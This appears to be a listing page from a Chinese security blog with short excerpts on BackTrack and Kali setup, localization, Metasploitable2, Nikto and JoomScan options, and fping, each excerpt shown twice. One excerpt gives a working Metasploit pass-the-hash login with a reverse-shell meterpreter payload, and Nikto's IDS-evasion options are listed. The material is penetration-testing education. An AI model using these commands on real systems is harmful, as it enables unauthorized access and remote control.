SECURITY RESEARCH / ENGINEERING

文章与研究

在证据与实验中理解复杂系统。

Kali Linux 1.0 发布

以前的backtrack团队发布了新的测试系统名为:Kali 下载地址:http://cdimage.kali.org/ 官网地址:http://www.kali.org/

阅读全文 →

Kali Linux 1.0 发布

以前的backtrack团队发布了新的测试系统名为:Kali 下载地址:http://cdimage.kali.org/ 官网地址:http://www.kali.org/

阅读全文 →

BackTrack5 R3 KDE菜单中英文切换 【视频+文件】

高清视频下载地址:http://kuai.xunlei.com/d/BLZZAXKHUBVL 解压密码:www.mythhack.com 脚本文件下载地址:http://kuai.xunlei.com/d/BVWRUBQJYRXW 评论区: 石头: 牛人,很好奇你的操作系统是什么主题,WIN7?怎么在桌面分区域摆放文件呢?谢谢!!!(呲牙) [2012-08-23 19:54:34]   匿名: 我不知道那里出错了~!我运行完那个......

阅读全文 →

BackTrack5 R3 KDE菜单中英文切换 【视频+文件】

高清视频下载地址:http://kuai.xunlei.com/d/BLZZAXKHUBVL 解压密码:www.mythhack.com 脚本文件下载地址:http://kuai.xunlei.com/d/BVWRUBQJYRXW 评论区: 石头: 牛人,很好奇你的操作系统是什么主题,WIN7?怎么在桌面分区域摆放文件呢?谢谢!!!(呲牙) [2012-08-23 19:54:34]   匿名: 我不知道那里出错了~!我运行完那个......

阅读全文 →

BackTrack5 R2 R3 PenTest目录树形结构 以便对比:P

BT5 R2 Pentest目录共有3817个文件夹, 49722文件 BT5 R3 Pentest目录共有3737个文件夹, 49747文件 BackTrack5R2 树形下载地址:http://kuai.xunlei.com/d/BTPMCPUJDUPP BackTrack5R3 树形下载地址:http://kuai.xunlei.com/d/BLESYPUMLEVY 解压密码:www.mythhack.com

阅读全文 →

BackTrack5 R2 R3 PenTest目录树形结构 以便对比:P

BT5 R2 Pentest目录共有3817个文件夹, 49722文件 BT5 R3 Pentest目录共有3737个文件夹, 49747文件 BackTrack5R2 树形下载地址:http://kuai.xunlei.com/d/BTPMCPUJDUPP BackTrack5R3 树形下载地址:http://kuai.xunlei.com/d/BLESYPUMLEVY 解压密码:www.mythhack.com

阅读全文 →

Metasploitable2 Linux 系统

Metasploitable 虚拟机是故意设计用于测试安全工具的并展示常见易受攻击的漏洞 采用Ubuntu Linux操作系统 用户名:msfadmin 密码:msfadmin 更多详见:https://community.rapid7.com/docs/DOC-1875 官方下载地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 迅雷快传下载地址:http://kuai.xunlei.com/d/BKIORHPBEQRP 评论区: MythHack: 哈哈 淡定 [2012-06-14 16:29:29]   Wyckl: ,,, :roll: 。。。艹 原来是没刷新出来 [2012-06-14 15:52:27]   Wyckl: 刚才怎......

阅读全文 →

Metasploitable2 Linux 系统

Metasploitable 虚拟机是故意设计用于测试安全工具的并展示常见易受攻击的漏洞 采用Ubuntu Linux操作系统 用户名:msfadmin 密码:msfadmin 更多详见:https://community.rapid7.com/docs/DOC-1875 官方下载地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 迅雷快传下载地址:http://kuai.xunlei.com/d/BKIORHPBEQRP 评论区: MythHack: 哈哈 淡定 [2012-06-14 16:29:29]   Wyckl: ,,, :roll: 。。。艹 原来是没刷新出来 [2012-06-14 15:52:27]   Wyckl: 刚才怎......

阅读全文 →

Metasploit使用hash直接登录系统

抓到管理员的密码hash根本不用破解,直接就可以登录。 use windows/smb/psexec set SMBUser username set SMBPass 用户密码的hash值 set payload Windows/meterpreter/reverse_tcp set rhost 333.333.333.333 set lhost 111.111.111.111 exploit 转自:Linux520

阅读全文 →

Metasploit使用hash直接登录系统

抓到管理员的密码hash根本不用破解,直接就可以登录。 use windows/smb/psexec set SMBUser username set SMBPass 用户密码的hash值 set payload Windows/meterpreter/reverse_tcp set rhost 333.333.333.333 set lhost 111.111.111.111 exploit 转自:Linux520

阅读全文 →

BackTrack中文指南V7

BackTrack中文指南V7 再次感谢backtrack让众多菜鸟爱上了Linux。其实无论是KDE、Fluxbox还是GNOME,都只是一种图形界面而已,本指南还是以KDE为主,为照顾菜鸟朋友,也加上了部分GNOME的内容。 Backtrack中文指南会逐渐去掉了backtrack5之前的所有内容。另外吸纳了Kevin2600的建议加入了一些新的内容,嘿嘿......

阅读全文 →

BackTrack中文指南V7

BackTrack中文指南V7 再次感谢backtrack让众多菜鸟爱上了Linux。其实无论是KDE、Fluxbox还是GNOME,都只是一种图形界面而已,本指南还是以KDE为主,为照顾菜鸟朋友,也加上了部分GNOME的内容。 Backtrack中文指南会逐渐去掉了backtrack5之前的所有内容。另外吸纳了Kevin2600的建议加入了一些新的内容,嘿嘿......

阅读全文 →

METASPLOIT中文手册 不定期更新

下载地址:http://kuai.xunlei.com/d/BPVPCQTZGZNT 解压密码:www.mythhack.com 评论区: ka: 博主发个提取码吧 :smile: [2012-03-29 09:31:48]   shine_forever: 博主发个提取码我吧,谢谢了! ;-) [2012-03-15 11:36:18]   幻影: 博主发个提取码吧 [2012-02-05 22:33:43]   allen-yse: NMAP 更新的命令是? :razz: [2012-01-17 16:42:43]   allen-yse: 博主,请问是否可以提供提取码? 可以的话麻烦发个到我邮箱,谢谢·......

阅读全文 →

METASPLOIT中文手册 不定期更新

下载地址:http://kuai.xunlei.com/d/BPVPCQTZGZNT 解压密码:www.mythhack.com 评论区: ka: 博主发个提取码吧 :smile: [2012-03-29 09:31:48]   shine_forever: 博主发个提取码我吧,谢谢了! ;-) [2012-03-15 11:36:18]   幻影: 博主发个提取码吧 [2012-02-05 22:33:43]   allen-yse: NMAP 更新的命令是? :razz: [2012-01-17 16:42:43]   allen-yse: 博主,请问是否可以提供提取码? 可以的话麻烦发个到我邮箱,谢谢·......

阅读全文 →

Nikto 参数说明

-Cgidirs                    扫描CGI目录 -config                     使用指定的config文件来替代本地的config.txt -dbcheck                 选择语法错误的扫描数据库 -evasion                  使用LibWhisker中对IDS的躲避技术,可使用以下几种类型 1.随机URL编码(非UTF-8) 2.自选择路径(/./) 3.虚假的请求结束 4.长Url请求 5.参数隐藏 6.使用TAB作为命令的分隔符 7.大小写敏感 8......

阅读全文 →

Nikto 参数说明

-Cgidirs                    扫描CGI目录 -config                     使用指定的config文件来替代本地的config.txt -dbcheck                 选择语法错误的扫描数据库 -evasion                  使用LibWhisker中对IDS的躲避技术,可使用以下几种类型 1.随机URL编码(非UTF-8) 2.自选择路径(/./) 3.虚假的请求结束 4.长Url请求 5.参数隐藏 6.使用TAB作为命令的分隔符 7.大小写敏感 8......

阅读全文 →

backtrack汉化版安装(官方视频)

官方视频地址:http://www.offensive-security.com/backtrack-tutorials.php 使用apt-get命令来更新是比较简单的 apt-get update 同步更新软件包列表 apt-get upgrade 下载和安装所有可用的更新 apt-get dist-upgrade 下载和安装所有的升级更新 接下来是汉化: (以下为转载内容) 下中文包 一:中文环境 root@richard-laptop:~# apt-get install language-support-zh python-central python-apt root@richard-laptop:~# dpkg-reconfigure locales root@richard-laptop:~# locale root@richard-laptop:~# vi /etc/environment root@richard-laptop:~# cat /etc/environment PATH="......

阅读全文 →

backtrack汉化版安装(官方视频)

官方视频地址:http://www.offensive-security.com/backtrack-tutorials.php 使用apt-get命令来更新是比较简单的 apt-get update 同步更新软件包列表 apt-get upgrade 下载和安装所有可用的更新 apt-get dist-upgrade 下载和安装所有的升级更新 接下来是汉化: (以下为转载内容) 下中文包 一:中文环境 root@richard-laptop:~# apt-get install language-support-zh python-central python-apt root@richard-laptop:~# dpkg-reconfigure locales root@richard-laptop:~# locale root@richard-laptop:~# vi /etc/environment root@richard-laptop:~# cat /etc/environment PATH="......

阅读全文 →

BackTrack 5 JoomScan 用法(如翻译有误请留言感谢)

用法:perl joomscan.pl -u <字符串> -x proxy:端口 ./joomscan.pl -u <字符串> -x proxy:端口 -u <字符串> =joomla 地址 ==可选== -x   <整形> = 隧道代理 -c  <字符串> = Cookie (名称=值) -g "<字符串>"= 所需的用户代理字符串(within") -nv= 不进行版本特征检查 -nf= 不进行防火墙检测检查 -nvf/-nfv= 不进行版本和防火墙检查......

阅读全文 →

BackTrack 5 JoomScan 用法(如翻译有误请留言感谢)

用法:perl joomscan.pl -u <字符串> -x proxy:端口 ./joomscan.pl -u <字符串> -x proxy:端口 -u <字符串> =joomla 地址 ==可选== -x   <整形> = 隧道代理 -c  <字符串> = Cookie (名称=值) -g "<字符串>"= 所需的用户代理字符串(within") -nv= 不进行版本特征检查 -nf= 不进行防火墙检测检查 -nvf/-nfv= 不进行版本和防火墙检查......

阅读全文 →

ping?不,我们还有更强大的fping

fping命令简介: fping – 发 ICMP ECHO_REQUEST 包到网络主机 详细: fping类似于ping命令,发送ICMP的回显数据包给特定主机,要求对方给于回应。fping 与ping不同的是,fping允许同时设置很多主机,也可以将要发送主机的列表列表写在文件中。fping在发送消息时,如果对方没有反应,fping 会接着给下个主机......

阅读全文 →

ping?不,我们还有更强大的fping

fping命令简介: fping – 发 ICMP ECHO_REQUEST 包到网络主机 详细: fping类似于ping命令,发送ICMP的回显数据包给特定主机,要求对方给于回应。fping 与ping不同的是,fping允许同时设置很多主机,也可以将要发送主机的列表列表写在文件中。fping在发送消息时,如果对方没有反应,fping 会接着给下个主机......

阅读全文 →

BackTrack5 BT5-Gnome 汉化 中文化 最小化 最大化 放到右上角

最新的BackTrack5已准时在2011年5月11日发布了,相信各路高手都已人手一份或多份了,目前网上已放出 KDE版本下的汉化方法,Gnome下似乎没有动静,ps:难道没人用Gnome的版本?小弟不才,自己动手摸索一番, 总结如下: 新版的backtrack5由于基于ubuntu10.04所以汉化也很简单。 有些人会问怎么找......

阅读全文 →

BackTrack5 BT5-Gnome 汉化 中文化 最小化 最大化 放到右上角

最新的BackTrack5已准时在2011年5月11日发布了,相信各路高手都已人手一份或多份了,目前网上已放出 KDE版本下的汉化方法,Gnome下似乎没有动静,ps:难道没人用Gnome的版本?小弟不才,自己动手摸索一番, 总结如下: 新版的backtrack5由于基于ubuntu10.04所以汉化也很简单。 有些人会问怎么找......

阅读全文 →

backtrack5汉化教程

BT5发布了,让33帮我下的Gnome,我自己下的KDE.. 由于自己的带宽不够,就让别人帮下,改天去拷过来. 用了一天时间..下好BT5-KDE-x32.. 刚装好KDE桌面的BT5,由于对KDE很不习惯,所以仅仅汉化了下,装了下VMware-Tools. 基于ubuntu10.04的BT5果然又帅又炫. 因为BT5是基于Ubuntu10.04修改的,所以汉化,安装中文输入法,安......

阅读全文 →

backtrack5汉化教程

BT5发布了,让33帮我下的Gnome,我自己下的KDE.. 由于自己的带宽不够,就让别人帮下,改天去拷过来. 用了一天时间..下好BT5-KDE-x32.. 刚装好KDE桌面的BT5,由于对KDE很不习惯,所以仅仅汉化了下,装了下VMware-Tools. 基于ubuntu10.04的BT5果然又帅又炫. 因为BT5是基于Ubuntu10.04修改的,所以汉化,安装中文输入法,安......

阅读全文 →